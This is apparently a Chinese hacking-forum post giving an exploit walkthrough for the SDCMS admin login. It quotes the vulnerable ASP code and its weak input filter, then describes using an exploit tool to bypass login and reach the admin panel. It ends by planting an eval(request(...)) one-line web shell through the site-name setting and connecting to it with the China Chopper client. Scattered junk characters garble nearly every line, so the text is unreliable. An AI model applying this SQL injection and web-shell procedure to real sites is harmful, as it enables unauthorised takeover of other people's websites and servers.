作者:T00LS 鬼哥
3 B, @2 K: y; w* Z' [漏洞文件:后台目录/index.asp, `7 Q& N8 g3 o6 `
9 \# s7 d7 L8 y
Sub Check t8 z' c+ w" t9 \/ P$ \' j
Dim username,password,code,getcode,Rs
0 C* p6 r1 z: J1 x IF Check_post Then Echo "1禁止从外部提交数据!":Exit Sub+ q" J& C7 u' r- l
username=FilterText(Trim(Request.Form("username")),1)
; H# U4 k, v. S9 ?* @4 D3 J password=FilterText(Trim(Request.Form("password")),1)
; V& [, d1 e2 D; i' z8 X code=Trim(Request.Form("yzm"))0 f6 {% A: q u$ c* ?$ B" y2 h$ O7 Y
getcode=Session("SDCMSCode")
2 q. {" s; ?2 a; C IF errnum>=loginnum Then Echo "系统已禁止您今日再登录":died
2 D& `' l4 V ?1 a8 R2 _/ l+ q IF code="" Then Alert "验证码不能为空!","javascript:history.go(-1)" ied
' B- e9 g$ b1 _) k6 Z IF code<>"" And Not Isnumeric(code) Then Alert "验证码必须为数字!","javascript:history.go(-1)" ied, h( S9 b3 B0 H
IF code<>getcode Then Alert "验证码错误!","javascript:history.go(-1)" ied/ @! y& }* P4 m
IF username="" or password="" Then3 o8 m9 r6 ?. T4 a
Echo "用户名或密码不能为空" ied1 s& V1 I$ b! [0 s# N1 y
Else0 i5 g0 r3 @5 M
Set Rs=Conn.Execute("Select Id,Sdcms_Name,Sdcms_Pwd,isadmin,alllever,infolever From Sd_Admin Where Sdcms_name='"&username&"' And Sdcms_Pwd='"&md5(password)&"'")
6 B, U7 T$ \( n6 d. Y7 n IF Rs.Eof Then5 d. B f' {% o+ V
AddLog username,GetIp,"登录失败",1
! G# u9 j! H& q* o; Y V% i Echo "用户名或密码错误,今日还有 "&loginnum-errnum&" 次机会"- B1 C, W- C/ M& U
Else; D3 i* i V6 P4 a& r/ X
Add_Cookies "sdcms_id",Rs(0)
' l. E% ^' G% e* y# C- w! v Add_Cookies "sdcms_name",username
- q3 Y2 f8 L' r7 n$ ?, [4 ~) @ Add_Cookies "sdcms_pwd",Rs(2)* I' b3 U. Q! S& L `
Add_Cookies "sdcms_admin",Rs(3)
7 a$ D5 `) g. T3 D7 [- c( A, N" x Add_Cookies "sdcms_alllever",Rs(4)9 M6 F r; p+ v' z
Add_Cookies "sdcms_infolever",Rs(5)
0 z, ?. p0 K: k2 z Conn.Execute("Update Sd_Admin Set logintimes=logintimes+1,LastIp='"&GetIp&"' Where id="&Rs(0)&"")3 V) W6 y; A& M2 ], W( n* r
AddLog username,GetIp,"登录成功",1& R% T8 J* }, r% A1 a
'自动删除30天前的Log记录, ]8 j$ \9 w o
IF Sdcms_DataType Then
& F6 k \/ k( J) Z6 b Conn.Execute("Delete From Sd_Log Where DateDiff('d',adddate,Now())>30")
2 L0 L, _* i" q$ W# s4 ]& d6 W Else6 d/ m+ d& l1 l7 Z4 B( k
Conn.Execute("Delete From Sd_Log Where DateDiff(d,adddate,GetDate())>30")% h# r; |; _7 y1 N2 r/ y0 O# o/ f
End IF9 w6 A: K, L$ y4 y( `+ z- p3 X h$ d" n
Go("sdcms_index.asp")
0 Z+ h& T% m8 b' h8 R* R' e# {( p( h End IF' T% I, N- @- h/ |5 {
Rs.Close" o& r8 D. E9 }) H8 D( h- x
Set Rs=Nothing) B9 d+ \+ `3 K
End IF4 K! A/ r$ y/ V* F+ n# ?
End Sub
+ l- i, m9 S1 j0 @& G# R# z! L0 {/ |3 U4 E
’我们可以看到username是通过FilterText来过滤的。我们看看FilterText的代码" K& _. J: [; w7 u) e, `
- G# @7 ` ]. J. w
Function FilterText(ByVal t0,ByVal t1)0 y5 `9 m$ M& j# L1 ^1 I( }% _/ k
IF Len(t0)=0 Or IsNull(t0) Or IsArray(t0) Then FilterText="":Exit Function* {4 M3 T9 V7 z% m- M+ R' e
t0=Trim(t0)9 }* c0 r; q! J
Select Case t1
3 Z Q0 T: B3 H N, n Case "1"
9 X: v0 V* Z$ j/ M: @' s t0=Replace(t0,Chr(32),"")
& Q: @$ [. T0 g t0=Replace(t0,Chr(13),"")
, I5 G. g4 b9 I: d t0=Replace(t0,Chr(10)&Chr(10),"")* G: \, j8 O! X0 V% ?" M( z) C
t0=Replace(t0,Chr(10),"")
2 d% G# F7 a! y6 t, T. W Case "2") d$ ?+ ^! ]3 _ O5 J- O
t0=Replace(t0,Chr(8),"")'回格
) G9 Z, Q1 `3 \6 W# {; R t0=Replace(t0,Chr(9),"")'tab(水平制表符)
2 v- P+ M: n+ V3 o$ a t0=Replace(t0,Chr(10),"")'换行
6 X" A' F5 E$ T" O5 X9 z6 s4 h t0=Replace(t0,Chr(11),"")'tab(垂直制表符)4 l- S7 G- e: ~/ Z; {8 y
t0=Replace(t0,Chr(12),"")'换页7 @5 R; h% s. L7 n- y+ T: @
t0=Replace(t0,Chr(13),"")'回车 chr(13)&chr(10) 回车和换行的组合+ S8 Z/ `1 ]# T3 e
t0=Replace(t0,Chr(22),"")) g) L3 g5 c, ]
t0=Replace(t0,Chr(32),"")'空格 SPACE& |$ b( o! E) v0 b1 Y
t0=Replace(t0,Chr(33),"")'!
& T' t2 r# U& c# j6 B3 ] t0=Replace(t0,Chr(34),"")'"
& u7 H6 P$ H" G! c4 N t0=Replace(t0,Chr(35),"")'#) z# E2 M! x, h$ h" Y
t0=Replace(t0,Chr(36),"")'$5 E i! y; s: U" [% f
t0=Replace(t0,Chr(37),"")'%
8 ?! V8 @) U; E t0=Replace(t0,Chr(38),"")'&
4 c+ n, v) Y# v# i# W: ` t0=Replace(t0,Chr(39),"")''1 z5 v9 T0 A/ \
t0=Replace(t0,Chr(40),"")'(9 w2 |# _# t9 G4 F* A V
t0=Replace(t0,Chr(41),"")')
. N) a7 E% g% ` t0=Replace(t0,Chr(42),"")'*. P' Y* n" D0 [3 a1 v# |
t0=Replace(t0,Chr(43),"")'++ \, [7 ?5 \" E, {5 Y! w
t0=Replace(t0,Chr(44),"")',: O5 T. Y9 n: K- y
t0=Replace(t0,Chr(45),"")'-
* o+ n- e3 ]: f% _$ j+ J! M t0=Replace(t0,Chr(46),"")'.( ?& m* Z/ Q. q% c! P$ J, P4 h
t0=Replace(t0,Chr(47),"")'/
3 m- V2 Q# m0 ]3 r t0=Replace(t0,Chr(58),"")':
, r G; s' Y( z4 c% E" c t0=Replace(t0,Chr(59),"")';
4 k. Z# F! ?' s. T+ C0 {( H2 b t0=Replace(t0,Chr(60),"")'< t0=Replace(t0,Chr(61),"")'= t0=Replace(t0,Chr(62),"")'>
! V: K1 L$ p/ g, L0 r3 z) J t0=Replace(t0,Chr(63),"")'?1 J/ H& P W! t8 {
t0=Replace(t0,Chr(64),"")'@, H$ ~% b1 X+ K% e- f' _, G
t0=Replace(t0,Chr(91),"")'\) j. d6 n4 `, u8 z
t0=Replace(t0,Chr(92),"")'\
) `9 ^# a# ^1 s7 T9 v t0=Replace(t0,Chr(93),"")']
* q* y( _5 m4 D% |, T- Y t0=Replace(t0,Chr(94),"")'^9 K9 `' v9 i+ n) c
t0=Replace(t0,Chr(95),"")'_! L; B) Y0 G& Q# D
t0=Replace(t0,Chr(96),"")'`) R, p5 T0 o; N
t0=Replace(t0,Chr(123),"")'{
. u1 b& r- n, v# b/ t4 @* V t0=Replace(t0,Chr(124),"")'|
3 o5 E* G5 t7 {& U t0=Replace(t0,Chr(125),"")'}1 Z S; M8 H x- s& ]9 G
t0=Replace(t0,Chr(126),"")'~
( u5 U9 Q( h% \& `& R+ _ Case Else6 q, p3 ~ c: J5 y" B
t0=Replace(t0, "&", "&")
3 V2 F: W2 `: w' A# \ t0=Replace(t0, "'", "'")% X1 i: @$ \: ?2 [8 j' L0 _1 n
t0=Replace(t0, """", """)
. Z" D/ S1 e: l t0=Replace(t0, "<", "<") t0=Replace(t0, ">", ">")
* I* B% s8 k, b' X T; K0 `" \ End Select+ e. J. \, H9 Z; f
IF Instr(Lcase(t0),"expression")>0 Then" L1 _ Z6 {" ?+ ]: P
t0=Replace(t0,"expression","e­xpression", 1, -1, 0)( z) n. X9 ?# n' J6 w! O
End If
& I7 {) h; t9 }! Z FilterText=t0
* S/ t0 z( w2 G) `- G6 u( |" P2 vEnd Function
! m! w0 `; s) _% Q+ R: O7 Z% @9 |9 ?: n5 D/ u4 }+ N
看到没。直接参数是1 只过滤6 [. T' U2 o/ I2 H
t0=Replace(t0,Chr(32)," ")
, U7 ] a( b, p0 {" P t0=Replace(t0,Chr(13),"")4 Y( r2 @) @5 t3 A9 G
t0=Replace(t0,Chr(10)&Chr(10),"
. l2 b7 I) u7 |4 N) D- p")
$ P W2 E2 h5 P t0=Replace(t0,Chr(10),"& ~) d& L- A" c1 s+ V
")
+ a4 z3 a6 h1 p% g. X" `漏洞导致可以直接拿到后台帐号密码。SDCMS默认后台地址/admin/如果站长改了后台路径,那么请自行查找!
0 ]& g. ^. |# Z5 r$ Z ?6 l; @EXP利用工具下载 (此工具只能在XP上运行):sdcms-EXP
! f- u( G# o: h" H4 H, g' \) g* V
! a" P. m5 H4 Q- z* }) L" y6 m6 K测试:$ F* m0 o( V/ s3 ?+ K
) G$ \8 \6 W& ]7 G0 Y3 B
[6 g; Z5 F1 g" }3 A6 H现在输入工具上验证码,然后点OK
) s% s* O+ p. N+ H1 E0 a8 y+ U; f% ? u2 y
4 K; }# n' |0 U6 u' x/ q看到我们直接进入后台管理界面了,呵呵!
; P7 m; ^9 G8 P3 ^ c( W" m0 L+ ^8 O+ a/ _& B7 C& h4 y5 v. X
9 j$ I, W @/ X$ H& B
- w" ~. V, u$ h( J8 C( q$ y这样直接进入后台了。。。。
1 H6 G' f' i7 r, ]# |/ `7 u% D W
; m1 Y8 r0 Q0 }5 [0 x0 C- R
; x6 e8 u- r, q) }# N
' x* Q% n, B$ {7 z! ASDCMS提权:
2 r: s/ k' E/ l
; N. L( L# D8 e' [0 Q7 G: `方法1:访问:/后台目录/sdcms_set.asp 在 网站名称:后面加个 “:eval(request(Chr(63)))’ 即可,直接写一句话进去。 写入到/inc/Const.asp 一句话连接密码是?. b* j6 u7 R5 s [/ r& b& \
% X+ w a9 _5 N' Y
* d+ V( }! n# I0 M2 E
/ [* L2 l- l* g( u2 U% K) f, l. u# QOK,现在用菜刀连接下!
' S2 S# f! Y/ V: R
4 q% Z6 Z! r; H" ^/ c% ^" y8 n$ n; y& W# o- c: k Z8 w/ n
) i+ }3 g9 I5 x0 d : [) y1 L2 z6 N# n6 G
# I5 ?* P9 Y( U4 V+ ~
|